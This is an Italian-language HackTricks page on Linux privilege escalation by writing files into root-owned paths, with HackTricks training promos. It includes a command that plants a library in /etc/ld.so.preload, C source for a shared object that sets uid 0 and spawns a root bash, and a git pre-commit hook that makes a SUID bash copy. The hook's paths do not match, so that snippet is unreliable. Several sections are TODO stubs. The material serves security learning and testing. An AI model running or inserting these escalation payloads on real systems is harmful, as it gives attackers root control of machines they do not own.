hacktricks/linux-hardening/privilege-escalation/write-to-root.md

3.8 KiB

Scrittura di File Arbitrari nella Directory Root

{% hint style="success" %} Impara e pratica l'Hacking su AWS: HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Sostieni HackTricks
{% endhint %}

/etc/ld.so.preload

Questo file funziona come la variabile d'ambiente LD_PRELOAD ma funziona anche nei binari SUID.
Se puoi crearlo o modificarlo, puoi semplicemente aggiungere un percorso a una libreria che verrà caricata con ogni binario eseguito.

Per esempio: echo "/tmp/pe.so" > /etc/ld.so.preload

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Git hooks

Git hooks sono script che vengono eseguiti in vari eventi in un repository git come quando viene creato un commit, un merge... Quindi se uno script o utente privilegiato sta eseguendo queste azioni frequentemente ed è possibile scrivere nella cartella .git, questo può essere utilizzato per escalation dei privilegi.

Ad esempio, è possibile generare uno script in un repo git in .git/hooks in modo che venga sempre eseguito quando viene creato un nuovo commit:

{% code overflow="wrap" %}

echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit

{% endcode %}

File Cron & Time

TODO

File di Servizio & Socket

TODO

binfmt_misc

Il file situato in /proc/sys/fs/binfmt_misc indica quale binario dovrebbe eseguire quale tipo di file. TODO: controllare i requisiti per sfruttare questo per eseguire una reverse shell quando viene aperto un tipo di file comune.

{% hint style="success" %} Impara & pratica l'Hacking su AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica l'Hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}